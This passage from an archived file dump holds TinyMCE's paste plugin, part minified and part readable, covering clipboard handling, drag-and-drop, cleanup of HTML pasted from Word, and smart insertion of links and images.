e(t){It(t)&&!t.isDefaultPrevented()&&c.remove()}if(It(t)&&!t.isDefaultPrevented()){if((f=t.shiftKey&&86===t.keyCode)&&h.webkit&&-1!==v.navigator.userAgent.indexOf("Version/"))return;if(t.stopImmediatePropagation(),d.set(t),window.setTimeout(function(){d.clear()},100),h.ie&&f)return t.preventDefault(),void n(s,!0);c.remove(),c.create(),s.once("keyup",e),s.once("paste",function(){s.off("keyup",e)})}}),s.on("paste",function(t){var e,n,r,o=d.isSet(),i=(e=s,n=Ct(t.clipboardData||e.getDoc().dataTransfer),O.isMsEdge()?b.extend(n,{"text/html":""}):n),a="text"===l.get()||f,u=kt(i,x());f=!1,t.isDefaultPrevented()||(r=t.clipboardData,-1!==v.navigator.userAgent.indexOf("Android")&&r&&r.items&&0===r.items.length)?c.remove():Ft(i)||!Rt(s,t,c.getLastRng()||s.selection.getRng())?(o||t.preventDefault(),!h.ie||o&&!t.ieFake||kt(i,"text/html")||(c.create(),s.dom.bind(c.getEl(),"paste",function(t){t.stopPropagation()}),s.getDoc().execCommand("Paste",!1,null),i["text/html"]=c.getHtml()),kt(i,"text/html")?(t.preventDefault(),u||(u=w(i["text/html"])),m(i,o,a,u)):y.setEditorTimeout(s,function(){m(i,o,a,u)},0)):c.remove()})},St=function(t){return h.ie&&t.inline?v.document.body:t.getBody()},At=function(e,t,n){var r;St(r=e)!==r.getBody()&&e.dom.bind(t,"paste keyup",function(t){Lt(e,n)||e.fire("paste")})},jt=function(t){return t.dom.get("mcepastebin")},Mt=function(t,e){return e===t},Lt=function(t,e){var n,r=jt(t);return(n=r)&&"mcepastebin"===n.id&&Mt(e,r.innerHTML)},Nt=function(a){var u=p(null),s="%MCEPASTEBIN%";return{create:function(){return e=u,n=s,o=(t=a).dom,i=t.getBody(),e.set(t.selection.getRng()),r=t.dom.add(St(t),"div",{id:"mcepastebin","class":"mce-pastebin",contentEditable:!0,"data-mce-bogus":"all",style:"position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0"},n),(h.ie||h.gecko)&&o.setStyle(r,"left","rtl"===o.getStyle(i,"direction",!0)?65535:-65535),o.bind(r,"beforedeactivate focusin focusout",function(t){t.stopPropagation()}),At(t,r,n),r.focus(),void t.selection.select(r,!0);var t,e,n,r,o,i},remove:function(){return function(t,e){if(jt(t)){for(var n=void 0,r=e.get();n=t.dom.get("mcepastebin");)t.dom.remove(n),t.dom.unbind(n);r&&t.selection.setRng(r)}e.set(null)}(a,u)},getEl:function(){return jt(a)},getHtml:function(){return function(n){var e,t,r,o,i,a=function(t,e){t.appendChild(e),n.dom.remove(e,!0)};for(t=b.grep(St(n).childNodes,function(t){return"mcepastebin"===t.id}),e=t.shift(),b.each(t,function(t){a(e,t)}),r=(o=n.dom.select("div[id=mcepastebin]",e)).length-1;0<=r;r--)i=n.dom.create("div"),e.insertBefore(i,o[r]),a(i,o[r]);return e?e.innerHTML:""}(a)},getLastRng:function(){return u.get()},isDefault:function(){return Lt(a,s)},isDefaultContent:function(t){return Mt(s,t)}}},Bt=function(n,t){var e=Nt(n);return n.on("preInit",function(){return Ot(a=n,e,t),void a.parser.addNodeFilter("img",function(t,e,n){var r,o=function(t){t.attr("data-mce-object")||u===h.transparentSrc||t.remove()};if(!a.settings.paste_data_images&&(r=n).data&&!0===r.data.paste)for(var i=t.length;i--;)(u=t[i].attributes.map.src)&&(0===u.indexOf("webkit-fake-url")?o(t[i]):a.settings.allow_html_data_urls||0!==u.indexOf("data:")||o(t[i]))});var a,u}),{pasteFormat:t,pasteHtml:function(t,e){return Tt(n,t,e)},pasteText:function(t){return Dt(n,t)},pasteImageData:function(t,e){return Rt(n,t,e)},getDataTransferItems:Ct,hasHtmlOrText:Ft,hasContentType:kt}},Ht=function(){},$t=function(t,e,n){if(r=t,!1!==h.iOS||r===undefined||"function"!=typeof r.setData||!0===O.isMsEdge())return!1;try{return t.clearData(),t.setData("text/html",e),t.setData("text/plain",n),t.setData(x(),e),!0}catch(o){return!1}var r},Wt=function(t,e,n,r){$t(t.clipboardData,e.html,e.text)?(t.preventDefault(),r()):n(e.html,r)},Ut=function(u){return function(t,e){var n=l(t),r=u.dom.create("div",{contenteditable:"false","data-mce-bogus":"all"}),o=u.dom.create("div",{contenteditable:"true"},n);u.dom.setStyles(r,{position:"fixed",top:"0",left:"-3000px",width:"1000px",overflow:"hidden"}),r.appendChild(o),u.dom.add(u.getBody(),r);var i=u.selection.getRng();o.focus();var a=u.dom.createRng();a.selectNodeContents(o),u.selection.setRng(a),setTimeout(function(){u.selection.setRng(i),r.parentNode.removeChild(r),e()},0)}},zt=function(t){return{html:t.selection.getContent({contextual:!0}),text:t.selection.getContent({format:"text"})}},Vt=function(t){return!t.selection.isCollapsed()||!!(e=t).dom.getParent(e.selection.getStart(),"td[data-mce-selected],th[data-mce-selected]",e.getBody());var e},Kt=function(t){var e,n;t.on("cut",(e=t,function(t){Vt(e)&&Wt(t,zt(e),Ut(e),function(){setTimeout(function(){e.execCommand("Delete")},0)})})),t.on("copy",(n=t,function(t){Vt(n)&&Wt(t,zt(n),Ut(n),Ht)}))},qt=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),Gt=function(t,e){return qt.getCaretRangeFromPoint(e.clientX,e.clientY,t.getDoc())},Xt=function(t,e){t.focus(),t.selection.setRng(e)},Yt=function(a,u,s){g.shouldBlockDrop(a)&&a.on("dragend dragover draggesture dragdrop drop drag",function(t){t.preventDefault(),t.stopPropagation()}),g.shouldPasteDataImages(a)||a.on("drop",function(t){var e=t.dataTransfer;e&&e.files&&0<e.files.length&&t.preventDefault()}),a.on("drop",function(t){var e,n;if(n=Gt(a,t),!t.isDefaultPrevented()&&!s.get()){e=u.getDataTransferItems(t.dataTransfer);var r,o=u.hasContentType(e,x());if((u.hasHtmlOrText(e)&&(!(r=e["text/plain"])||0!==r.indexOf("file://"))||!u.pasteImageData(t,n))&&n&&g.shouldFilterDrop(a)){var i=e["mce-internal"]||e["text/html"]||e["text/plain"];i&&(t.preventDefault(),y.setEditorTimeout(a,function(){a.undoManager.transact(function(){e["mce-internal"]&&a.execCommand("Delete"),Xt(a,n),i=O.trimHtml(i),e["text/html"]?u.pasteHtml(i,o):u.pasteText(i)})}))}}}),a.on("dragstart",function(t){s.set(!0)}),a.on("dragover dragend",function(t){g.shouldPasteDataImages(a)&&!1===s.get()&&(t.preventDefault(),Xt(a,Gt(a,t))),"dragend"===t.type&&s.set(!1)})},Zt=function(t){var e=t.plugins.paste,n=g.getPreProcess(t);n&&t.on("PastePreProcess",function(t){n.call(e,e,t)});var r=g.getPostProcess(t);r&&t.on("PastePostProcess",function(t){r.call(e,e,t)})};function Jt(e,n){e.on("PastePreProcess",function(t){t.content=n(e,t.content,t.internal,t.wordContent)})}function Qt(t,e){if(!V.isWordContent(e))return e;var n=[];b.each(t.schema.getBlockElements(),function(t,e){n.push(e)});var r=new RegExp("(?:<br> [\\s\\r\\n]+|<br>)*(<\\/?("+n.join("|")+")[^>]*>)(?:<br> [\\s\\r\\n]+|<br>)*","g");return e=O.filter(e,[[r,"$1"]]),e=O.filter(e,[[/<br><br>/g,"<BR><BR>"],[/<br>/g," "],[/<BR><BR>/g,"<br>"]])}function te(t,e,n,r){if(r||n)return e;var c,o=g.getWebkitStyles(t);if(!1===g.shouldRemoveWebKitStyles(t)||"all"===o)return e;if(o&&(c=o.split(/[, ]/)),c){var l=t.dom,f=t.selection.getNode();e=e.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,function(t,e,n,r){var o=l.parseStyle(l.decode(n)),i={};if("none"===c)return e+r;for(var a=0;a<c.length;a++){var u=o[c[a]],s=l.getStyle(f,c[a],!0);/color/.test(c[a])&&(u=l.toHex(u),s=l.toHex(s)),s!==u&&(i[c[a]]=u)}return(i=l.serializeStyle(i,"span"))?e+' style="'+i+'"'+r:e+r})}else e=e.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,"$1$3");return e=e.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi,function(t,e,n,r){return e+' style="'+n+'"'+r})}function ee(n,t){n.$("a",t).find("font,u").each(function(t,e){n.dom.remove(e,!0)})}var ne=function(t){var e,n;h.webkit&&Jt(t,te),h.ie&&(Jt(t,Qt),n=ee,(e=t).on("PastePostProcess",function(t){n(e,t.node)}))},re=function(t,e,n){var r=n.control;r.active("text"===e.pasteFormat.get()),t.on("PastePlainTextToggle",function(t){r.active(t.state)})},oe=function(t,e){var n=function(r){for(var o=[],t=1;t<arguments.length;t++)o[t-1]=arguments[t];return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n=o.concat(t);return r.apply(null,n)}}(re,t,e);t.addButton("pastetext",{active:!1,icon:"pastetext",tooltip:"Paste as text",cmd:"mceTogglePlainTextPaste",onPostRender:n}),t.addMenuItem("pastetext",{text:"Paste as text",selectable:!0,active:e.pasteFormat,cmd:"mceTogglePlainTextPaste",onPostRender:n})};e.add("paste",function(t){if(!1===a(t)){var e=p(!1),n=p(!1),r=p(g.isPasteAsTextEnabled(t)?"text":"html"),o=Bt(t,r),i=ne(t);return oe(t,o),c(t,o,e),Zt(t),Kt(t),Yt(t,o,n),u(o,i)}})}(window); tinymce/plugins/paste/plugin.js 0000644 00000240664 15111757756 0012700 0 ustar 00 (function () { var paste = (function (domGlobals) { 'use strict'; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var global$1 = tinymce.util.Tools.resolve('tinymce.PluginManager'); var hasProPlugin = function (editor) { if (/(^|[ ,])powerpaste([, ]|$)/.test(editor.settings.plugins) && global$1.get('powerpaste')) { if (typeof domGlobals.window.console !== 'undefined' && domGlobals.window.console.log) { domGlobals.window.console.log('PowerPaste is incompatible with Paste plugin! Remove \'paste\' from the \'plugins\' option.'); } return true; } else { return false; } }; var DetectProPlugin = { hasProPlugin: hasProPlugin }; var get = function (clipboard, quirks) { return { clipboard: clipboard, quirks: quirks }; }; var Api = { get: get }; var firePastePreProcess = function (editor, html, internal, isWordHtml) { return editor.fire('PastePreProcess', { content: html, internal: internal, wordContent: isWordHtml }); }; var firePastePostProcess = function (editor, node, internal, isWordHtml) { return editor.fire('PastePostProcess', { node: node, internal: internal, wordContent: isWordHtml }); }; var firePastePlainTextToggle = function (editor, state) { return editor.fire('PastePlainTextToggle', { state: state }); }; var firePaste = function (editor, ieFake) { return editor.fire('paste', { ieFake: ieFake }); }; var Events = { firePastePreProcess: firePastePreProcess, firePastePostProcess: firePastePostProcess, firePastePlainTextToggle: firePastePlainTextToggle, firePaste: firePaste }; var shouldPlainTextInform = function (editor) { return editor.getParam('paste_plaintext_inform', true); }; var shouldBlockDrop = function (editor) { return editor.getParam('paste_block_drop', false); }; var shouldPasteDataImages = function (editor) { return editor.getParam('paste_data_images', false); }; var shouldFilterDrop = function (editor) { return editor.getParam('paste_filter_drop', true); }; var getPreProcess = function (editor) { return editor.getParam('paste_preprocess'); }; var getPostProcess = function (editor) { return editor.getParam('paste_postprocess'); }; var getWebkitStyles = function (editor) { return editor.getParam('paste_webkit_styles'); }; var shouldRemoveWebKitStyles = function (editor) { return editor.getParam('paste_remove_styles_if_webkit', true); }; var shouldMergeFormats = function (editor) { return editor.getParam('paste_merge_formats', true); }; var isSmartPasteEnabled = function (editor) { return editor.getParam('smart_paste', true); }; var isPasteAsTextEnabled = function (editor) { return editor.getParam('paste_as_text', false); }; var getRetainStyleProps = function (editor) { return editor.getParam('paste_retain_style_properties'); }; var getWordValidElements = function (editor) { var defaultValidElements = '-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,' + '-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,' + 'td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody'; return editor.getParam('paste_word_valid_elements', defaultValidElements); }; var shouldConvertWordFakeLists = function (editor) { return editor.getParam('paste_convert_word_fake_lists', true); }; var shouldUseDefaultFilters = function (editor) { return editor.getParam('paste_enable_default_filters', true); }; var Settings = { shouldPlainTextInform: shouldPlainTextInform, shouldBlockDrop: shouldBlockDrop, shouldPasteDataImages: shouldPasteDataImages, shouldFilterDrop: shouldFilterDrop, getPreProcess: getPreProcess, getPostProcess: getPostProcess, getWebkitStyles: getWebkitStyles, shouldRemoveWebKitStyles: shouldRemoveWebKitStyles, shouldMergeFormats: shouldMergeFormats, isSmartPasteEnabled: isSmartPasteEnabled, isPasteAsTextEnabled: isPasteAsTextEnabled, getRetainStyleProps: getRetainStyleProps, getWordValidElements: getWordValidElements, shouldConvertWordFakeLists: shouldConvertWordFakeLists, shouldUseDefaultFilters: shouldUseDefaultFilters }; var shouldInformUserAboutPlainText = function (editor, userIsInformedState) { return userIsInformedState.get() === false && Settings.shouldPlainTextInform(editor); }; var displayNotification = function (editor, message) { editor.notificationManager.open({ text: editor.translate(message), type: 'info' }); }; var togglePlainTextPaste = function (editor, clipboard, userIsInformedState) { if (clipboard.pasteFormat.get() === 'text') { clipboard.pasteFormat.set('html'); Events.firePastePlainTextToggle(editor, false); } else { clipboard.pasteFormat.set('text'); Events.firePastePlainTextToggle(editor, true); if (shouldInformUserAboutPlainText(editor, userIsInformedState)) { displayNotification(editor, 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.'); userIsInformedState.set(true); } } editor.focus(); }; var Actions = { togglePlainTextPaste: togglePlainTextPaste }; var register = function (editor, clipboard, userIsInformedState) { editor.addCommand('mceTogglePlainTextPaste', function () { Actions.togglePlainTextPaste(editor, clipboard, userIsInformedState); }); editor.addCommand('mceInsertClipboardContent', function (ui, value) { if (value.content) { clipboard.pasteHtml(value.content, value.internal); } if (value.text) { clipboard.pasteText(value.text); } }); }; var Commands = { register: register }; var global$2 = tinymce.util.Tools.resolve('tinymce.Env'); var global$3 = tinymce.util.Tools.resolve('tinymce.util.Delay'); var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var global$5 = tinymce.util.Tools.resolve('tinymce.util.VK'); var internalMimeType = 'x-tinymce/html'; var internalMark = '<!-- ' + internalMimeType + ' -->'; var mark = function (html) { return internalMark + html; }; var unmark = function (html) { return html.replace(internalMark, ''); }; var isMarked = function (html) { return html.indexOf(internalMark) !== -1; }; var InternalHtml = { mark: mark, unmark: unmark, isMarked: isMarked, internalHtmlMime: function () { return internalMimeType; } }; var global$6 = tinymce.util.Tools.resolve('tinymce.html.Entities'); var isPlainText = function (text) { return !/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(text); }; var toBRs = function (text) { return text.replace(/\r?\n/g, '<br>'); }; var openContainer = function (rootTag, rootAttrs) { var key; var attrs = []; var tag = '<' + rootTag; if (typeof rootAttrs === 'object') { for (key in rootAttrs) { if (rootAttrs.hasOwnProperty(key)) { attrs.push(key + '="' + global$6.encodeAllRaw(rootAttrs[key]) + '"'); } } if (attrs.length) { tag += ' ' + attrs.join(' '); } } return tag + '>'; }; var toBlockElements = function (text, rootTag, rootAttrs) { var blocks = text.split(/\n\n/); var tagOpen = openContainer(rootTag, rootAttrs); var tagClose = '</' + rootTag + '>'; var paragraphs = global$4.map(blocks, function (p) { return p.split(/\n/).join('<br />'); }); var stitch = function (p) { return tagOpen + p + tagClose; }; return paragraphs.length === 1 ? paragraphs[0] : global$4.map(paragraphs, stitch).join(''); }; var convert = function (text, rootTag, rootAttrs) { return rootTag ? toBlockElements(text, rootTag, rootAttrs) : toBRs(text); }; var Newlines = { isPlainText: isPlainText, convert: convert, toBRs: toBRs, toBlockElements: toBlockElements }; var global$7 = tinymce.util.Tools.resolve('tinymce.html.DomParser'); var global$8 = tinymce.util.Tools.resolve('tinymce.html.Serializer'); var global$9 = tinymce.util.Tools.resolve('tinymce.html.Node'); var global$a = tinymce.util.Tools.resolve('tinymce.html.Schema'); function filter(content, items) { global$4.each(items, function (v) { if (v.constructor === RegExp) { content = content.replace(v, ''); } else { content = content.replace(v[0], v[1]); } }); return content; } function innerText(html) { var schema = global$a(); var domParser = global$7({}, schema); var text = ''; var shortEndedElements = schema.getShortEndedElements(); var ignoreElements = global$4.makeMap('script noscript style textarea video audio iframe object', ' '); var blockElements = schema.getBlockElements(); function walk(node) { var name = node.name, currentNode = node; if (name === 'br') { text += '\n'; return; } if (name === 'wbr') { return; } if (shortEndedElements[name]) { text += ' '; } if (ignoreElements[name]) { text += ' '; return; } if (node.type === 3) { text += node.value; } if (!node.shortEnded) { if (node = node.firstChild) { do { walk(node); } while (node = node.next); } } if (blockElements[name] && currentNode.next) { text += '\n'; if (name === 'p') { text += '\n'; } } } html = filter(html, [/<!\[[^\]]+\]>/g]); walk(domParser.parse(html)); return text; } function trimHtml(html) { function trimSpaces(all, s1, s2) { if (!s1 && !s2) { return ' '; } return '\xA0'; } html = filter(html, [ /^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/ig, /<!--StartFragment-->|<!--EndFragment-->/g, [ /( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g, trimSpaces ], /<br class="Apple-interchange-newline">/g, /<br>$/i ]); return html; } function createIdGenerator(prefix) { var count = 0; return function () { return prefix + count++; }; } var isMsEdge = function () { return domGlobals.navigator.userAgent.indexOf(' Edge/') !== -1; }; var Utils = { filter: filter, innerText: innerText, trimHtml: trimHtml, createIdGenerator: createIdGenerator, isMsEdge: isMsEdge }; function isWordContent(content) { return /<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(content) || /class="OutlineElement/.test(content) || /id="?docs\-internal\-guid\-/.test(content); } function isNumericList(text) { var found, patterns; patterns = [ /^[IVXLMCD]{1,2}\.[ \u00a0]/, /^[ivxlmcd]{1,2}\.[ \u00a0]/, /^[a-z]{1,2}[\.\)][ \u00a0]/, /^[A-Z]{1,2}[\.\)][ \u00a0]/, /^[0-9]+\.[ \u00a0]/, /^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/, /^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/ ]; text = text.replace(/^[\u00a0 ]+/, ''); global$4.each(patterns, function (pattern) { if (pattern.test(text)) { found = true; return false; } }); return found; } function isBulletList(text) { return /^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(text); } function convertFakeListsToProperLists(node) { var currentListNode, prevListNode, lastLevel = 1; function getText(node) { var txt = ''; if (node.type === 3) { return node.value; } if (node = node.firstChild) { do { txt += getText(node); } while (node = node.next); } return txt; } function trimListStart(node, regExp) { if (node.type === 3) { if (regExp.test(node.value)) { node.value = node.value.replace(regExp, ''); return false; } } if (node = node.firstChild) { do { if (!trimListStart(node, regExp)) { return false; } } while (node = node.next); } return true; } function removeIgnoredNodes(node) { if (node._listIgnore) { node.remove(); return; } if (node = node.firstChild) { do { removeIgnoredNodes(node); } while (node = node.next); } } function convertParagraphToLi(paragraphNode, listName, start) { var level = paragraphNode._listLevel || lastLevel; if (level !== lastLevel) { if (level < lastLevel) { if (currentListNode) { currentListNode = currentListNode.parent.parent; } } else { prevListNode = currentListNode; currentListNode = null; } } if (!currentListNode || currentListNode.name !== listName) { prevListNode = prevListNode || currentListNode; currentListNode = new global$9(listName, 1); if (start > 1) { currentListNode.attr('start', '' + start); } paragraphNode.wrap(currentListNode); } else { currentListNode.append(paragraphNode); } paragraphNode.name = 'li'; if (level > lastLevel && prevListNode) { prevListNode.lastChild.append(currentListNode); } lastLevel = level; removeIgnoredNodes(paragraphNode); trimListStart(paragraphNode, /^\u00a0+/); trimListStart(paragraphNode, /^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/); trimListStart(paragraphNode, /^\u00a0+/); } var elements = []; var child = node.firstChild; while (typeof child !== 'undefined' && child !== null) { elements.push(child); child = child.walk(); if (child !== null) { while (typeof child !== 'undefined' && child.parent !== node) { child = child.walk(); } } } for (var i = 0; i < elements.length; i++) { node = elements[i]; if (node.name === 'p' && node.firstChild) { var nodeText = getText(node); if (isBulletList(nodeText)) { convertParagraphToLi(node, 'ul'); continue; } if (isNumericList(nodeText)) { var matches = /([0-9]+)\./.exec(nodeText); var start = 1; if (matches) { start = parseInt(matches[1], 10); } convertParagraphToLi(node, 'ol', start); continue; } if (node._listLevel) { convertParagraphToLi(node, 'ul', 1); continue; } currentListNode = null; } else { prevListNode = currentListNode; currentListNode = null; } } } function filterStyles(editor, validStyles, node, styleValue) { var outputStyles = {}, matches; var styles = editor.dom.parseStyle(styleValue); global$4.each(styles, function (value, name) { switch (name) { case 'mso-list': matches = /\w+ \w+([0-9]+)/i.exec(styleValue); if (matches) { node._listLevel = parseInt(matches[1], 10); } if (/Ignore/i.test(value) && node.firstChild) { node._listIgnore = true; node.firstChild._listIgnore = true; } break; case 'horiz-align': name = 'text-align'; break; case 'vert-align': name = 'vertical-align'; break; case 'font-color': case 'mso-foreground': name = 'color'; break; case 'mso-background': case 'mso-highlight': name = 'background'; break; case 'font-weight': case 'font-style': if (value !== 'normal') { outputStyles[name] = value; } return; case 'mso-element': if (/^(comment|comment-list)$/i.test(value)) { node.remove(); return; } break; } if (name.indexOf('mso-comment') === 0) { node.remove(); return; } if (name.indexOf('mso-') === 0) { return; } if (Settings.getRetainStyleProps(editor) === 'all' || validStyles && validStyles[name]) { outputStyles[name] = value; } }); if (/(bold)/i.test(outputStyles['font-weight'])) { delete outputStyles['font-weight']; node.wrap(new global$9('b', 1)); } if (/(italic)/i.test(outputStyles['font-style'])) { delete outputStyles['font-style']; node.wrap(new global$9('i', 1)); } outputStyles = editor.dom.serializeStyle(outputStyles, node.name); if (outputStyles) { return outputStyles; } return null; } var filterWordContent = function (editor, content) { var retainStyleProperties, validStyles; retainStyleProperties = Settings.getRetainStyleProps(editor); if (retainStyleProperties) { validStyles = global$4.makeMap(retainStyleProperties.split(/[, ]/)); } content = Utils.filter(content, [ /<br class="?Apple-interchange-newline"?>/gi, /<b[^>]+id="?docs-internal-[^>]*>/gi, /<!--[\s\S]+?-->/gi, /<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi, [ /<(\/?)s>/gi, '<$1strike>' ], [ / /gi, '\xA0' ], [ /<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi, function (str, spaces) { return spaces.length > 0 ? spaces.replace(/./, ' ').slice(Math.floor(spaces.length / 2)).split('').join('\xA0') : ''; } ] ]); var validElements = Settings.getWordValidElements(editor); var schema = global$a({ valid_elements: validElements, valid_children: '-li[p]' }); global$4.each(schema.elements, function (rule) { if (!rule.attributes.class) { rule.attributes.class = {}; rule.attributesOrder.push('class'); } if (!rule.attributes.style) { rule.attributes.style = {}; rule.attributesOrder.push('style'); } }); var domParser = global$7({}, schema); domParser.addAttributeFilter('style', function (nodes) { var i = nodes.length, node; while (i--) { node = nodes[i]; node.attr('style', filterStyles(editor, validStyles, node, node.attr('style'))); if (node.name === 'span' && node.parent && !node.attributes.length) { node.unwrap(); } } }); domParser.addAttributeFilter('class', function (nodes) { var i = nodes.length, node, className; while (i--) { node = nodes[i]; className = node.attr('class'); if (/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(className)) { node.remove(); } node.attr('class', null); } }); domParser.addNodeFilter('del', function (nodes) { var i = nodes.length; while (i--) { nodes[i].remove(); } }); domParser.addNodeFilter('a', function (nodes) { var i = nodes.length, node, href, name; while (i--) { node = nodes[i]; href = node.attr('href'); name = node.attr('name'); if (href && href.indexOf('#_msocom_') !== -1) { node.remove(); continue; } if (href && href.indexOf('file://') === 0) { href = href.split('#')[1]; if (href) { href = '#' + href; } } if (!href && !name) { node.unwrap(); } else { if (name && !/^_?(?:toc|edn|ftn)/i.test(name)) { node.unwrap(); continue; } node.attr({ href: href, name: name }); } } }); var rootNode = domParser.parse(content); if (Settings.shouldConvertWordFakeLists(editor)) { convertFakeListsToProperLists(rootNode); } content = global$8({ validate: editor.settings.validate }, schema).serialize(rootNode); return content; }; var preProcess = function (editor, content) { return Settings.shouldUseDefaultFilters(editor) ? filterWordContent(editor, content) : content; }; var WordFilter = { preProcess: preProcess, isWordContent: isWordContent }; var preProcess$1 = function (editor, html) { var parser = global$7({}, editor.schema); parser.addNodeFilter('meta', function (nodes) { global$4.each(nodes, function (node) { return node.remove(); }); }); var fragment = parser.parse(html, { forced_root_block: false, isRootContent: true }); return global$8({ validate: editor.settings.validate }, editor.schema).serialize(fragment); }; var processResult = function (content, cancelled) { return { content: content, cancelled: cancelled }; }; var postProcessFilter = function (editor, html, internal, isWordHtml) { var tempBody = editor.dom.create('div', { style: 'display:none' }, html); var postProcessArgs = Events.firePastePostProcess(editor, tempBody, internal, isWordHtml); return processResult(postProcessArgs.node.innerHTML, postProcessArgs.isDefaultPrevented()); }; var filterContent = function (editor, content, internal, isWordHtml) { var preProcessArgs = Events.firePastePreProcess(editor, content, internal, isWordHtml); var filteredContent = preProcess$1(editor, preProcessArgs.content); if (editor.hasEventListeners('PastePostProcess') && !preProcessArgs.isDefaultPrevented()) { return postProcessFilter(editor, filteredContent, internal, isWordHtml); } else { return processResult(filteredContent, preProcessArgs.isDefaultPrevented()); } }; var process = function (editor, html, internal) { var isWordHtml = WordFilter.isWordContent(html); var content = isWordHtml ? WordFilter.preProcess(editor, html) : html; return filterContent(editor, content, internal, isWordHtml); }; var ProcessFilters = { process: process }; var pasteHtml = function (editor, html) { editor.insertContent(html, { merge: Settings.shouldMergeFormats(editor), paste: true }); return true; }; var isAbsoluteUrl = function (url) { return /^https?:\/\/[\w\?\-\/+=.&%@~#]+$/i.test(url); }; var isImageUrl = function (url) { return isAbsoluteUrl(url) && /.(gif|jpe?g|png)$/.test(url); }; var createImage = function (editor, url, pasteHtmlFn) { editor.undoManager.extra(function () { pasteHtmlFn(editor, url); }, function () { editor.insertContent('<img src="' + url + '">'); }); return true; }; var createLink = function (editor, url, pasteHtmlFn) { editor.undoManager.extra(function () { pasteHtmlFn(editor, url); }, function () { editor.execCommand('mceInsertLink', false, url); }); return true; }; var linkSelection = function (editor, html, pasteHtmlFn) { return editor.selection.isCollapsed() === false && isAbsoluteUrl(html) ? createLink(editor, html, pasteHtmlFn) : false; }; var insertImage = function (editor, html, pasteHtmlFn) { return isImageUrl(html) ? createImage(editor, html, pasteHtmlFn) : false; }; var smartInsertContent = function (editor, html) { global$4.each([ linkSelection, insertImage, pasteHtml ], function (action) { return action(editor, html, pasteHtml) !== true; }); }; var insertContent = function (editor, html) { if (Settings.isSmartPasteEnabled(editor) === false) { pasteHtml(editor, html); } else { smartInsertContent(editor, html); } }; var SmartPaste = { isImageUrl: isImageUrl, isAbsoluteUrl: isAbsoluteUrl, insertContent: insertContent }; var noop = function () { }; var constant = function (value) { return function () { return value; }; }; function curry(fn) { var initialArgs = []; for (var _i = 1; _i < arguments.length; _i++) { initialArgs[_i - 1] = arguments[_i]; } return function () { var restArgs = []; for (var _i = 0; _i < arguments.length; _i++) { restArgs[_i] = arguments[_i]; } var all = initialArgs.concat(restArgs); return fn.apply(null, all); }; } var never = constant(false); var always = constant(true); var none = function () { return NONE; }; var NONE = function () { var eq = function (o) { return o.isNone(); }; var call = function (thunk) { return thunk(); }; var id = function (n) { return n; }; var me = { fold: function (n, s) { return n(); }, is: never, isSome: never, isNone: always, getOr: id, getOrThunk: call, getOrDie: function (msg) { throw new Error(msg || 'error: getOrDie called on none.'); }, getOrNull: constant(null), getOrUndefined: constant(undefined), or: id, orThunk: call, map: none, each: noop, bind: none, exists: never, forall: always, filter: none, equals: eq, equals_: eq, toArray: function () { return []; }, toString: constant('none()') }; if (Object.freeze) { Object.freeze(me); } return me; }(); var some = function (a) { var constant_a = constant(a); var self = function () { return me; }; var bind = function (f) { return f(a); }; var me = { fold: function (n, s) { return s(a); }, is: function (v) { return a === v; }, isSome: always, isNone: never, getOr: constant_a, getOrThunk: constant_a, getOrDie: constant_a, getOrNull: constant_a, getOrUndefined: constant_a, or: self, orThunk: self, map: function (f) { return some(f(a)); }, each: function (f) { f(a); }, bind: bind, exists: bind, forall: bind, filter: function (f) { return f(a) ? me : NONE; }, toArray: function () { return [a]; }, toString: function () { return 'some(' + a + ')'; }, equals: function (o) { return o.is(a); }, equals_: function (o, elementEq) { return o.fold(never, function (b) { return elementEq(a, b); }); } }; return me; }; var from = function (value) { return value === null || value === undefined ? NONE : some(value); }; var Option = { some: some, none: none, from: from }; var typeOf = function (x) { if (x === null) { return 'null'; } var t = typeof x; if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) { return 'array'; } if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) { return 'string'; } return t; }; var isType = function (type) { return function (value) { return typeOf(value) === type; }; }; var isFunction = isType('function'); var nativeSlice = Array.prototype.slice; var map = function (xs, f) { var len = xs.length; var r = new Array(len); for (var i = 0; i < len; i++) { var x = xs[i]; r[i] = f(x, i); } return r; }; var each = function (xs, f) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; f(x, i); } }; var filter$1 = function (xs, pred) { var r = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { r.push(x); } } return r; }; var from$1 = isFunction(Array.from) ? Array.from : function (x) { return nativeSlice.call(x); }; var exports$1 = {}, module = { exports: exports$1 